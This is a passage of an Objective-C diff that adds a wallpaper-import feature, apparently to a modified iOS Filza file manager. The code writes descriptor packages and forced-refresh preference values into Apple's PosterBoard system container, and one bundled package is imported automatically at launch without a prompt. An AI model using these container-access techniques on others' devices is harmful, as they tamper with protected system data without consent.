(!PBWritePlist(dictionary, format, path, error)) return NO; + } + return YES; +} + +static NSString *PBHexDigest(const unsigned char digest[CC_SHA256_DIGEST_LENGTH]) +{ + NSMutableString *result = [NSMutableString stringWithCapacity:CC_SHA256_DIGEST_LENGTH * 2]; + for (NSUInteger index = 0; index < CC_SHA256_DIGEST_LENGTH; index++) + [result appendFormat:@"%02x", digest[index]]; + return result; +} + +static NSString *PBDataDigest(NSData *data) +{ + unsigned char digest[CC_SHA256_DIGEST_LENGTH] = {0}; + CC_SHA256(data.bytes, (CC_LONG)data.length, digest); + return PBHexDigest(digest); +} + +static NSString *PBTreeDigest(NSString *root, PBTreeStats *outStats, NSError **error) +{ + PBTreeStats stats = {0}; + NSArray *entries = PBScanTree(root, &stats, error); + if (!entries) return nil; + CC_SHA256_CTX context; + CC_SHA256_Init(&context); + for (NSDictionary *entry in entries) { + BOOL directory = [entry[@"Directory"] boolValue]; + uint8_t type = directory ? 'D' : 'F'; + NSData *pathData = [entry[@"Path"] dataUsingEncoding:NSUTF8StringEncoding]; + uint32_t length = CFSwapInt32HostToBig((uint32_t)pathData.length); + CC_SHA256_Update(&context, &type, sizeof(type)); + CC_SHA256_Update(&context, &length, sizeof(length)); + CC_SHA256_Update(&context, pathData.bytes, (CC_LONG)pathData.length); + if (directory) continue; + NSString *path = [root stringByAppendingPathComponent:entry[@"Path"]]; + int descriptor = open(path.fileSystemRepresentation, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + if (descriptor < 0) { + PBSetError(error, errno, @"Cannot hash %@ (errno %d)", path, errno); + return nil; + } + uint8_t buffer[64 * 1024]; + BOOL ok = YES; + for (;;) { + ssize_t count = read(descriptor, buffer, sizeof(buffer)); + if (count == 0) break; + if (count < 0 && errno == EINTR) continue; + if (count < 0) { + ok = PBSetError(error, errno, @"Cannot hash %@ (errno %d)", path, errno); + break; + } + CC_SHA256_Update(&context, buffer, (CC_LONG)count); + } + close(descriptor); + if (!ok) return nil; + } + unsigned char digest[CC_SHA256_DIGEST_LENGTH] = {0}; + CC_SHA256_Final(digest, &context); + if (outStats) *outStats = stats; + return PBHexDigest(digest); +} + +static BOOL PBFindDescriptorContainers(NSString *directory, NSUInteger depth, + NSMutableArray *containers, + NSError **error) +{ + if (depth > 8) return PBSetError(error, ELOOP, @"Package search exceeded 8 levels"); + NSString *lowerName = directory.lastPathComponent.lowercaseString; + if ([lowerName containsString:@"descriptor"]) { + [containers addObject:directory]; + return YES; + } + NSArray *names = PBDirectoryNames(directory, error); + if (!names) return NO; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *path = [directory stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) != 0) + return PBSetError(error, errno, @"Cannot inspect %@ (errno %d)", path, errno); + if (S_ISLNK(status.st_mode)) + return PBSetError(error, EINVAL, @"Package links are not allowed: %@", path); + if (!S_ISDIR(status.st_mode)) continue; + if ([name caseInsensitiveCompare:@"container"] == NSOrderedSame) + return PBSetError(error, EPERM, + @"Unsafe container-style tendies are not supported. Use a descriptor package."); + if (!PBFindDescriptorContainers(path, depth + 1, containers, error)) return NO; + } + return YES; +} + +static NSString *PBProviderForContainer(NSString *container) +{ + NSString *name = container.lastPathComponent.lowercaseString; + if ([name containsString:@"video"] || [name containsString:@"photos"]) + return @"com.apple.PhotosUIPrivate.PhotosPosterProvider"; + if ([name containsString:@"mercury"]) + return @"com.apple.MercuryPoster"; + return @"com.apple.WallpaperKit.CollectionsPoster"; +} + +static NSArray *PBDiscoverDescriptors(NSString *package, + NSError **error) +{ + NSMutableArray *containers = [NSMutableArray array]; + if (!PBFindDescriptorContainers(package, 0, containers, error)) return nil; + if (containers.count == 0) { + PBSetError(error, ENOENT, + @"No descriptor or descriptors folder was found in %@", package.lastPathComponent); + return nil; + } + NSMutableArray *descriptors = [NSMutableArray array]; + for (NSString *container in containers) { + NSString *provider = PBProviderForContainer(container); + NSArray *names = PBDirectoryNames(container, error); + if (!names) return nil; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *source = [container stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(source.fileSystemRepresentation, &status) != 0) { + PBSetError(error, errno, @"Cannot inspect %@ (errno %d)", source, errno); + return nil; + } + if (!S_ISDIR(status.st_mode)) { + PBSetError(error, EINVAL, + @"Descriptor folder contains an unexpected file: %@", source); + return nil; + } + PBTreeStats stats = {0}; + NSArray *entries = PBScanTree(source, &stats, error); + if (!entries) return nil; + if (stats.files == 0) { + PBSetError(error, EINVAL, @"Descriptor is empty: %@", source); + return nil; + } + [descriptors addObject:@{@"Source": source, @"SourceName": name, + @"Provider": provider, @"Entries": entries, + @"FileCount": @(stats.files), @"ByteCount": @(stats.bytes)}]; + if (descriptors.count > PBMaximumDescriptors) { + PBSetError(error, E2BIG, @"A package may contain at most %lu descriptors", + (unsigned long)PBMaximumDescriptors); + return nil; + } + } + } + if (descriptors.count == 0) { + PBSetError(error, ENOENT, @"The package contains no descriptor directories"); + return nil; + } + return descriptors; +} + +static NSDictionary *PBPosterBoardContext(NSError **error) +{ + NSString *activationError = nil; + NSString *root = MCMFilzaDataContainerPath(PBPosterBoardIdentifier, &activationError); + if (!root) { + PBSetError(error, EPERM, @"PosterBoard container activation failed: %@", + activationError ?: @"unknown error"); + return nil; + } + NSString *store = [root stringByAppendingPathComponent: + @"Library/Application Support/PRBPosterExtensionDataStore"]; + if (!PBDirectoryNoSymlink(store, YES, error)) return nil; + NSArray *names = PBDirectoryNames(store, error); + if (!names) return nil; + NSString *selected = nil; + long long selectedValue = LLONG_MIN; + NSCharacterSet *notDigits = NSCharacterSet.decimalDigitCharacterSet.invertedSet; + for (NSString *name in names) { + if (name.length == 0 || [name rangeOfCharacterFromSet:notDigits].location != NSNotFound) + continue; + NSString *structure = [store stringByAppendingPathComponent:name]; + NSString *extensions = [structure stringByAppendingPathComponent:@"Extensions"]; + if (!PBDirectoryNoSymlink(structure, YES, nil) || + !PBDirectoryNoSymlink(extensions, YES, nil)) continue; + long long value = name.longLongValue; + if (value > selectedValue) { + selectedValue = value; + selected = name; + } + } + if (!selected) + return PBSetError(error, ENOENT, + @"No numeric PosterBoard structure with an Extensions directory was found"), nil; + NSString *extensions = [[store stringByAppendingPathComponent:selected] + stringByAppendingPathComponent:@"Extensions"]; + return @{@"Root": root, @"Store": store, @"Structure": selected, + @"Extensions": extensions}; +} + +static BOOL PBEnsureTargetDirectory(NSString *path, NSMutableArray *created, + NSError **error) +{ + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0) { + if (!S_ISDIR(status.st_mode)) + return PBSetError(error, EINVAL, @"Target is not a real directory: %@", path); + return YES; + } + if (errno != ENOENT) + return PBSetError(error, errno, @"Cannot inspect target %@ (errno %d)", path, errno); + if (mkdir(path.fileSystemRepresentation, 0700) != 0) + return PBSetError(error, errno, @"Cannot create target %@ (errno %d)", path, errno); + [created addObject:path]; + return YES; +} + +static void PBRemoveTree(NSString *path) +{ + if (path.length == 0) return; + [[NSFileManager defaultManager] removeItemAtPath:path error:nil]; +} + +static void PBCleanupEmptyDirectories(NSArray *directories) +{ + for (NSString *path in directories.reverseObjectEnumerator) { + NSArray *contents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:path error:nil]; + if (contents.count == 0) rmdir(path.fileSystemRepresentation); + } +} + +static BOOL PBWriteManifest(NSDictionary *manifest, NSString *path, NSError **error) +{ + return [manifest writeToURL:[NSURL fileURLWithPath:path] + error:error]; +} + +static NSDictionary *PBApplyRefreshPreferences(NSDictionary *context, + NSString *transaction, + NSError **error) +{ + NSString *preferencePath = [context[@"Root"] stringByAppendingPathComponent: + @"Library/Preferences/com.apple.PosterBoard.unprotectedUserDefaults.plist"]; + struct stat status = {0}; + int inspectResult = lstat(preferencePath.fileSystemRepresentation, &status); + if (inspectResult != 0 && errno != ENOENT) { + PBSetError(error, errno, @"Cannot inspect PosterBoard refresh preferences (errno %d)", errno); + return nil; + } + BOOL originalExisted = inspectResult == 0; + if (originalExisted && !S_ISREG(status.st_mode)) { + PBSetError(error, EINVAL, @"PosterBoard refresh preference is not a regular file"); + return nil; + } + NSData *original = nil; + if (originalExisted) { + original = [NSData dataWithContentsOfFile:preferencePath + options:NSDataReadingMappedIfSafe error:error]; + if (!original) return nil; + } + + NSMutableDictionary *preferences = nil; + if (original.length > 0) { + NSPropertyListFormat format = NSPropertyListBinaryFormat_v1_0; + id plist = [NSPropertyListSerialization propertyListWithData:original + options:NSPropertyListMutableContainersAndLeaves format:&format error:error]; + if (![plist isKindOfClass:NSMutableDictionary.class]) { + PBSetError(error, EINVAL, @"PosterBoard refresh preference is not a dictionary plist"); + return nil; + } + preferences = plist; + } else { + preferences = [NSMutableDictionary dictionary]; + } + + // These are Nugget's force-PosterBoard-refresh values for iOS 26.4+. + preferences[@"PBF_LOCALE_DID_CHANGE"] = @NO; + preferences[@"PBF_RESET_FILE_PROTECTIONS"] = @YES; + preferences[@"PersistedPosterContainerBundleIdentifiers"] = @[ + @"com.apple.Posters.CollectionsPosterApp", + ]; + preferences[@"CompletedPosterBundleIdentifierMigrations"] = @[ + @"com.apple.Posters.UnityPosterApp.ExtragalacticPoster", + @"com.apple.Posters.WeatherPosterApp.WeatherPoster", + @"com.apple.Posters.UnityPosterApp.Unity2025Poster", + @"com.apple.Posters.UnityPosterApp.UnityPosterExtension", + @"com.apple.Posters.UnityPosterApp.RhizomePoster", + @"com.apple.Posters.KaleidoscopePosterApp.KaleidoscopePoster", + ]; + NSData *installed = [NSPropertyListSerialization dataWithPropertyList:preferences + format:NSPropertyListBinaryFormat_v1_0 options:0 error:error]; + if (!installed) return nil; + + NSString *backupPath = @""; + if (originalExisted) { + backupPath = [PBBackupsDirectory() stringByAppendingPathComponent: + [transaction stringByAppendingString:@"-PosterBoardPrefs.bin"]]; + if (![original writeToFile:backupPath options:NSDataWritingAtomic error:error]) return nil; + } + if (![installed writeToFile:preferencePath options:NSDataWritingAtomic error:error]) { + if (backupPath.length) [[NSFileManager defaultManager] removeItemAtPath:backupPath error:nil]; + return nil; + } + NSData *roundTrip = [NSData dataWithContentsOfFile:preferencePath + options:NSDataReadingMappedIfSafe error:error]; + if (!roundTrip || ![roundTrip isEqualToData:installed]) { + if (originalExisted) + [original writeToFile:preferencePath options:NSDataWritingAtomic error:nil]; + else + [[NSFileManager defaultManager] removeItemAtPath:preferencePath error:nil]; + if (backupPath.length) [[NSFileManager defaultManager] removeItemAtPath:backupPath error:nil]; + if (!error || !*error) + PBSetError(error, EIO, @"PosterBoard refresh preference verification failed"); + return nil; + } + return @{ + @"Path": preferencePath, + @"OriginalExisted": @(originalExisted), + @"OriginalSHA256": originalExisted ? PBDataDigest(original) : @"", + @"BackupPath": backupPath, + @"InstalledSHA256": PBDataDigest(installed), + }; +} + +static BOOL PBRestoreRefreshPreferences(NSDictionary *record, + NSDictionary *context, + NSError **error) +{ + if (![record isKindOfClass:NSDictionary.class]) return YES; + NSString *expectedPath = [context[@"Root"] stringByAppendingPathComponent: + @"Library/Preferences/com.apple.PosterBoard.unprotectedUserDefaults.plist"]; + NSString *path = [record[@"Path"] isKindOfClass:NSString.class] ? record[@"Path"] : nil; + if (![path.stringByStandardizingPath isEqualToString:expectedPath.stringByStandardizingPath]) + return PBSetError(error, EPERM, @"Refresh rollback contains an out-of-scope preference path"); + NSData *current = [NSData dataWithContentsOfFile:path + options:NSDataReadingMappedIfSafe error:error]; + if (!current || ![PBDataDigest(current) isEqualToString:record[@"InstalledSHA256"]]) + return PBSetError(error, EBUSY, + @"Refusing preference rollback because PosterBoard changed the refresh file"); + + if ([record[@"OriginalExisted"] boolValue]) { + NSString *backupPath = [record[@"BackupPath"] isKindOfClass:NSString.class] + ? record[@"BackupPath"] : nil; + NSData *backup = [NSData dataWithContentsOfFile:backupPath + options:NSDataReadingMappedIfSafe error:error]; + if (!backup || ![PBDataDigest(backup) isEqualToString:record[@"OriginalSHA256"]]) + return PBSetError(error, EINVAL, @"PosterBoard preference backup failed verification"); + if (![backup writeToFile:path options:NSDataWritingAtomic error:error]) return NO; + } else if (![[NSFileManager defaultManager] removeItemAtPath:path error:error]) { + return NO; + } + return YES; +} + +static NSString *PBImportPackage(NSString *package, NSError **outError) +{ + NSError *error = nil; + NSArray *descriptors = PBDiscoverDescriptors(package, &error); + if (!descriptors) { + if (outError) *outError = error; + return nil; + } + NSDictionary *context = PBPosterBoardContext(&error); + if (!context) { + if (outError) *outError = error; + return nil; + } + + NSMutableArray *createdParents = [NSMutableArray array]; + NSMutableArray *stagingPaths = [NSMutableArray array]; + NSMutableArray *installedPaths = [NSMutableArray array]; + NSMutableArray *manifestEntries = [NSMutableArray array]; + NSMutableSet *identifiers = [NSMutableSet set]; + NSString *transaction = NSUUID.UUID.UUIDString.uppercaseString; + NSDictionary *refreshRecord = nil; + BOOL success = NO; + + for (NSDictionary *descriptor in descriptors) { + NSString *providerRoot = [context[@"Extensions"] + stringByAppendingPathComponent:descriptor[@"Provider"]]; + NSString *descriptorRoot = [providerRoot stringByAppendingPathComponent:@"descriptors"]; + if (!PBEnsureTargetDirectory(providerRoot, createdParents, &error) || + !PBEnsureTargetDirectory(descriptorRoot, createdParents, &error)) break; + + NSString *uuid = NSUUID.UUID.UUIDString.uppercaseString; + NSString *target = [descriptorRoot stringByAppendingPathComponent:uuid]; + NSString *staging = [descriptorRoot stringByAppendingPathComponent: + [NSString stringWithFormat:@".%@.partial-%@", uuid, NSUUID.UUID.UUIDString]]; + NSInteger wallpaperIdentifier = 0; + do { + wallpaperIdentifier = (NSInteger)arc4random_uniform(90001) + 9999; + } while ([identifiers containsObject:@(wallpaperIdentifier)]); + [identifiers addObject:@(wallpaperIdentifier)]; + [stagingPaths addObject:staging]; + + if (!PBCopyTree(descriptor[@"Source"], staging, descriptor[@"Entries"], &error) || + !PBRewriteDescriptor(staging, wallpaperIdentifier, &error)) break; + PBTreeStats finalStats = {0}; + NSString *digest = PBTreeDigest(staging, &finalStats, &error); + if (!digest) break; + if (renameatx_np(AT_FDCWD, staging.fileSystemRepresentation, + AT_FDCWD, target.fileSystemRepresentation, RENAME_EXCL) != 0) { + PBSetError(&error, errno, @"Could not commit descriptor %@ (errno %d)", uuid, errno); + break; + } + [stagingPaths removeObject:staging]; + [installedPaths addObject:target]; + [manifestEntries addObject:@{ + @"SourceName": descriptor[@"SourceName"], + @"Provider": descriptor[@"Provider"], + @"DescriptorRoot": descriptorRoot, + @"UUID": uuid, + @"WallpaperIdentifier": @(wallpaperIdentifier), + @"Target": target, + @"SHA256": digest, + @"FileCount": @(finalStats.files), + @"ByteCount": @(finalStats.bytes), + }]; + } + + if (manifestEntries.count == descriptors.count) + refreshRecord = PBApplyRefreshPreferences(context, transaction, &error); + + if (manifestEntries.count == descriptors.count && refreshRecord) { + NSDictionary *manifest = @{ + @"Version": @2, + @"Status": @"installed", + @"Transaction": transaction, + @"CreatedAt": NSDate.date, + @"Package": package.lastPathComponent ?: @"", + @"PosterBoardRoot": context[@"Root"], + @"Structure": context[@"Structure"], + @"CreatedParents": createdParents, + @"Entries": manifestEntries, + @"RefreshPreference": refreshRecord, + }; + NSString *manifestPath = [PBBackupsDirectory() stringByAppendingPathComponent: + [transaction stringByAppendingPathExtension:@"plist"]]; + if (PBWriteManifest(manifest, manifestPath, &error)) success = YES; + } + + if (!success) { + if (refreshRecord) PBRestoreRefreshPreferences(refreshRecord, context, nil); + NSString *backupPath = refreshRecord[@"BackupPath"]; + if (backupPath.length) [[NSFileManager defaultManager] removeItemAtPath:backupPath error:nil]; + for (NSString *path in stagingPaths) PBRemoveTree(path); + for (NSString *path in installedPaths.reverseObjectEnumerator) PBRemoveTree(path); + PBCleanupEmptyDirectories(createdParents); + if (!error) PBSetError(&error, EIO, @"Import transaction did not complete"); + if (outError) *outError = error; + return nil; + } + return [NSString stringWithFormat: + @"Imported %lu descriptor%@ into PosterBoard structure %@ and applied the backed-up refresh preferences. Open Settings > Wallpaper.", + (unsigned long)manifestEntries.count, manifestEntries.count == 1 ? @"" : @"s", + context[@"Structure"]]; +} + +static NSArray *PBManifestPaths(void) +{ + NSArray *names = [[NSFileManager defaultManager] + contentsOfDirectoryAtPath:PBBackupsDirectory() error:nil] ?: @[]; + NSMutableArray *paths = [NSMutableArray array]; + for (NSString *name in names) { + if (![name.pathExtension.lowercaseString isEqualToString:@"plist"]) continue; + [paths addObject:[PBBackupsDirectory() stringByAppendingPathComponent:name]]; + } + [paths sortUsingComparator:^NSComparisonResult(NSString *left, NSString *right) { + NSDictionary *leftAttributes = [[NSFileManager defaultManager] attributesOfItemAtPath:left error:nil]; + NSDictionary *rightAttributes = [[NSFileManager defaultManager] attributesOfItemAtPath:right error:nil]; + return [rightAttributes[NSFileModificationDate] + compare:leftAttributes[NSFileModificationDate]]; + }]; + return paths; +} + +static BOOL PBPathIsInside(NSString *path, NSString *root) +{ + NSString *candidate = path.stringByStandardizingPath; + NSString *base = root.stringByStandardizingPath; + return [candidate hasPrefix:[base stringByAppendingString:@"/"]]; +} + +static NSString *PBRollBackLatest(NSError **outError) +{ + NSString *manifestPath = PBManifestPaths().firstObject; + if (!manifestPath) { + PBSetError(outError, ENOENT, @"There is no installed wallpaper transaction to roll back"); + return nil; + } + NSDictionary *manifest = [NSDictionary dictionaryWithContentsOfFile:manifestPath]; + NSArray *entries = [manifest[@"Entries"] isKindOfClass:NSArray.class] + ? manifest[@"Entries"] : nil; + if ((![[manifest objectForKey:@"Version"] isEqual:@1] && + ![[manifest objectForKey:@"Version"] isEqual:@2]) || entries.count == 0) { + PBSetError(outError, EINVAL, @"The newest rollback manifest is invalid"); + return nil; + } + NSError *error = nil; + NSDictionary *context = PBPosterBoardContext(&error); + if (!context) { + if (outError) *outError = error; + return nil; + } + for (NSDictionary *entry in entries) { + NSString *target = [entry[@"Target"] isKindOfClass:NSString.class] ? entry[@"Target"] : nil; + NSString *descriptorRoot = [entry[@"DescriptorRoot"] isKindOfClass:NSString.class] + ? entry[@"DescriptorRoot"] : nil; + NSString *uuid = [entry[@"UUID"] isKindOfClass:NSString.class] ? entry[@"UUID"] : nil; + NSUUID *parsedUUID = [[NSUUID alloc] initWithUUIDString:uuid]; + if (!target || !descriptorRoot || !parsedUUID || + ![descriptorRoot.lastPathComponent isEqualToString:@"descriptors"] || + !PBPathIsInside(descriptorRoot, context[@"Extensions"]) || + ![target.stringByStandardizingPath isEqualToString: + [descriptorRoot stringByAppendingPathComponent:uuid].stringByStandardizingPath]) { + PBSetError(outError, EPERM, @"Rollback manifest contains an out-of-scope target"); + return nil; + } + PBTreeStats stats = {0}; + NSString *digest = PBTreeDigest(target, &stats, &error); + if (!digest || ![digest isEqualToString:entry[@"SHA256"]]) { + if (!error) PBSetError(&error, EBUSY, + @"Refusing rollback because %@ changed after import", target.lastPathComponent); + if (outError) *outError = error; + return nil; + } + } + + NSString *reportPath = [PBReportsDirectory() stringByAppendingPathComponent: + [NSString stringWithFormat:@"Rollback-%@", manifestPath.lastPathComponent]]; + NSMutableDictionary *report = [manifest mutableCopy]; + report[@"Status"] = @"rollback-pending"; + report[@"RollbackStartedAt"] = NSDate.date; + if (!PBWriteManifest(report, reportPath, &error)) { + if (outError) *outError = error; + return nil; + } + NSDictionary *refreshRecord = [manifest[@"RefreshPreference"] + isKindOfClass:NSDictionary.class] ? manifest[@"RefreshPreference"] : nil; + if (refreshRecord && !PBRestoreRefreshPreferences(refreshRecord, context, &error)) { + if (outError) *outError = error; + return nil; + } + NSUInteger removed = 0; + for (NSDictionary *entry in entries.reverseObjectEnumerator) { + if (![[NSFileManager defaultManager] removeItemAtPath:entry[@"Target"] error:&error]) break; + removed++; + } + if (removed != entries.count) { + if (outError) *outError = error ?: [NSError errorWithDomain:PBErrorDomain code:EIO + userInfo:@{NSLocalizedDescriptionKey: @"Rollback stopped before all descriptors were removed"}]; + return nil; + } + PBCleanupEmptyDirectories(manifest[@"CreatedParents"] ?: @[]); + NSString *preferenceBackup = refreshRecord[@"BackupPath"]; + if (preferenceBackup.length) + [[NSFileManager defaultManager] removeItemAtPath:preferenceBackup error:nil]; + report[@"Status"] = @"rolled-back"; + report[@"RolledBackAt"] = NSDate.date; + PBWriteManifest(report, reportPath, nil); + [[NSFileManager defaultManager] removeItemAtPath:manifestPath error:nil]; + return [NSString stringWithFormat:@"Removed %lu imported descriptor%@ and restored the refresh preferences.", + (unsigned long)removed, removed == 1 ? @"" : @"s"]; +} + +static NSString *PBInspection(NSError **outError) +{ + NSError *error = nil; + NSDictionary *context = PBPosterBoardContext(&error); + if (!context) { + if (outError) *outError = error; + return nil; + } + NSArray *providers = @[ + @"com.apple.WallpaperKit.CollectionsPoster", + @"com.apple.PhotosUIPrivate.PhotosPosterProvider", + @"com.apple.MercuryPoster", + ]; + NSMutableArray *lines = [NSMutableArray arrayWithObject: + [NSString stringWithFormat:@"Active structure: %@", context[@"Structure"]]]; + for (NSString *provider in providers) { + NSString *path = [[context[@"Extensions"] stringByAppendingPathComponent:provider] + stringByAppendingPathComponent:@"descriptors"]; + NSArray *names = PBDirectoryNames(path, nil) ?: @[]; + NSUInteger count = 0; + for (NSString *name in names) { + struct stat status = {0}; + NSString *child = [path stringByAppendingPathComponent:name]; + if (lstat(child.fileSystemRepresentation, &status) == 0 && S_ISDIR(status.st_mode)) + count++; + } + [lines addObject:[NSString stringWithFormat:@"%@: %lu descriptors", + provider.lastPathComponent, (unsigned long)count]]; + } + [lines addObject:@"Inspection is read-only."]; + return [lines componentsJoinedByString:@"\n"]; +} + +static NSArray *PBPackageDirectories(void) +{ + NSArray *names = PBDirectoryNames(PBImportsDirectory(), nil) ?: @[]; + NSMutableArray *packages = [NSMutableArray array]; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *path = [PBImportsDirectory() stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0 && S_ISDIR(status.st_mode)) + [packages addObject:path]; + if (packages.count == 10) break; + } + return packages; +} + +static void PBInstallBundledSamples(void) +{ + NSString *sampleRoot = [NSBundle.mainBundle.resourcePath + stringByAppendingPathComponent:@"WallpaperSamples"]; + if (!PBDirectoryNoSymlink(sampleRoot, YES, nil)) return; + NSArray *names = PBDirectoryNames(sampleRoot, nil) ?: @[]; + NSFileManager *manager = NSFileManager.defaultManager; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *source = [sampleRoot stringByAppendingPathComponent:name]; + NSString *destination = [PBImportsDirectory() stringByAppendingPathComponent:name]; + if (![manager fileExistsAtPath:destination]) { + NSError *error = nil; + if ([manager copyItemAtPath:source toPath:destination error:&error]) + NSLog(@"[WallpaperLab] installed bundled sample %@", name); + else + NSLog(@"[WallpaperLab] bundled sample copy failed %@ detail=%@", name, error); + } + } +} + +static void PBStartAutomaticCipherImport(void) +{ + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + NSString *package = [PBImportsDirectory() + stringByAppendingPathComponent:@"Cipher by mightycooldude12"]; + NSString *reportPath = [PBReportsDirectory() + stringByAppendingPathComponent:@"Automatic-Cipher-Import.plist"]; + NSDictionary *existing = [NSDictionary dictionaryWithContentsOfFile:reportPath]; + if ([existing[@"Status"] isEqualToString:@"success"]) return; + if (!PBDirectoryNoSymlink(package, YES, nil)) return; + for (NSString *manifestPath in PBManifestPaths()) { + NSDictionary *manifest = [NSDictionary dictionaryWithContentsOfFile:manifestPath]; + if ([manifest[@"Status"] isEqualToString:@"installed"] && + [manifest[@"Version"] isEqual:@2] && + [manifest[@"Package"] isEqualToString:package.lastPathComponent]) { + NSString *message = @"Cipher was already imported with refresh preferences. Open Settings > Wallpaper."; + NSDictionary *report = @{@"Version": @1, @"Package": package.lastPathComponent, + @"Status": @"success", @"AttemptedAt": NSDate.date, @"Message": message}; + PBWriteManifest(report, reportPath, nil); + [message writeToFile:[PBWorkspace() stringByAppendingPathComponent: + @"CIPHER READY - OPEN SETTINGS.txt"] atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + return; + } + } + + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 500 * NSEC_PER_MSEC), + dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^{ + NSError *error = nil; + NSString *result = PBImportPackage(package, &error); + BOOL success = result != nil; + NSDictionary *report = @{ + @"Version": @1, + @"Package": package.lastPathComponent, + @"Status": success ? @"success" : @"failed", + @"AttemptedAt": NSDate.date, + @"Message": result ?: error.localizedDescription ?: @"Unknown failure", + }; + PBWriteManifest(report, reportPath, nil); + NSString *readyPath = [PBWorkspace() + stringByAppendingPathComponent:@"CIPHER READY - OPEN SETTINGS.txt"]; + NSString *failurePath = [PBWorkspace() + stringByAppendingPathComponent:@"CIPHER IMPORT FAILED.txt"]; + NSFileManager *manager = NSFileManager.defaultManager; + if (success) { + [manager removeItemAtPath:failurePath error:nil]; + [result writeToFile:readyPath atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + NSLog(@"[WallpaperLab] automatic Cipher import succeeded: %@", result); + } else { + [manager removeItemAtPath:readyPath error:nil]; + [error.localizedDescription writeToFile:failurePath atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + NSLog(@"[WallpaperLab] automatic Cipher import failed: %@", error); + } + }); + }); +} + +static UIViewController *PBTopController(UIViewController *controller) +{ + while (controller) { + UIViewController *next = controller.presentedViewController; + if (!next && [controller isKindOfClass:UINavigationController.class]) + next = ((UINavigationController *)controller).visibleViewController; + if (!next && [controller isKindOfClass:UITabBarController.class]) + next = ((UITabBarController *)controller).selectedViewController; + if (!next || next == controller) break; + controller = next; + } + return controller; +} + +@interface PBWallpaperFeatureController : NSObject +@property(nonatomic, weak) UIViewController *presenter; +@property(nonatomic) dispatch_queue_t operationQueue; ++ (instancetype)sharedController; +- (void)showMenu:(UIBarButtonItem *)sender; +@end + +@implementation PBWallpaperFeatureController + ++ (instancetype)sharedController +{ + static PBWallpaperFeatureController *controller; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + controller = [PBWallpaperFeatureController new]; + controller.operationQueue = dispatch_queue_create( + "local.filzamod.posterboard", DISPATCH_QUEUE_SERIAL); + }); + return controller; +} + +- (void)showAlertWithTitle:(NSString *)title message:(NSString *)message +{ + UIViewController *presenter = PBTopController(self.presenter); + if (!presenter) return; + UIAlertController *alert = [UIAlertController alertControllerWithTitle:title + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]]; + [presenter presentViewController:alert animated:YES completion:nil]; +} + +- (void)runOperationWithTitle:(NSString *)title block:(NSString *(^)(NSError **error))block +{ + dispatch_async(self.operationQueue, ^{ + NSError *error = nil; + NSString *message = block(&error); + dispatch_async(dispatch_get_main_queue(), ^{ + [self showAlertWithTitle:message ? title : @"Wallpaper operation failed" + message:message ?: error.localizedDescription ?: @"Unknown error"]; + }); + }); +} + +- (void)confirmImport:(NSString *)package +{ + UIViewController *presenter = PBTopController(self.presenter); + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Import wallpaper package?" + message:[NSString stringWithFormat: + @"%@ will add only new descriptor directories. Existing PosterBoard files are not overwritten.", + package.lastPathComponent] + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]]; + __weak typeof(self) weakSelf = self; + [alert addAction:[UIAlertAction actionWithTitle:@"Import" style:UIAlertActionStyleDefault + handler:^(__unused UIAlertAction *action) { + [weakSelf runOperationWithTitle:@"Wallpaper imported" + block:^NSString *(NSError **error) { return PBImportPackage(package, error); }]; + }]]; + [presenter presentViewController:alert animated:YES completion:nil]; +} + +- (void)confirmRollback +{ + UIViewController *presenter = PBTopController(self.presenter); + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Roll back last import?" + message:@"Rollback removes only descriptors from the newest Filza Mod manifest, and refuses if their hashes changed." + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]]; + __weak typeof(self) weakSelf = self; + [alert addAction:[UIAlertAction actionWithTitle:@"Roll Back" style:UIAlertActionStyleDestructive + handler:^(__unused UIAlertAction *action) { + [weakSelf runOperationWithTitle:@"Wallpaper rollback complete" + block:^NSString *(NSError **error) { return PBRollBackLatest(error); }]; + }]]; + [presenter presentViewController:alert animated:YES completion:nil]; +} + +- (void)showMenu:(UIBarButtonItem *)sender +{ + UIViewController *presenter = PBTopController(self.presenter); + if (!presenter) return; + UIAlertController *sheet = [UIAlertController alertControllerWithTitle:@"Wallpaper Lab" + message:@"Bounded Nugget-style PosterBoard descriptor import" + preferredStyle:UIAlertControllerStyleActionSheet]; + __weak typeof(self) weakSelf = self; + [sheet addAction:[UIAlertAction actionWithTitle:@"Inspect PosterBoard" + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + [weakSelf runOperationWithTitle:@"PosterBoard inspection" + block:^NSString *(NSError **error) { return PBInspection(error); }]; + }]]; + for (NSString *package in PBPackageDirectories()) { + [sheet addAction:[UIAlertAction actionWithTitle: + [@"Import " stringByAppendingString:package.lastPathComponent] + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + [weakSelf confirmImport:package]; + }]]; + } + if (PBManifestPaths().count > 0) { + [sheet addAction:[UIAlertAction actionWithTitle:@"Roll Back Last Import" + style:UIAlertActionStyleDestructive handler:^(__unused UIAlertAction *action) { + [weakSelf confirmRollback]; + }]]; + } + [sheet addAction:[UIAlertAction actionWithTitle:@"Help" style:UIAlertActionStyleDefault + 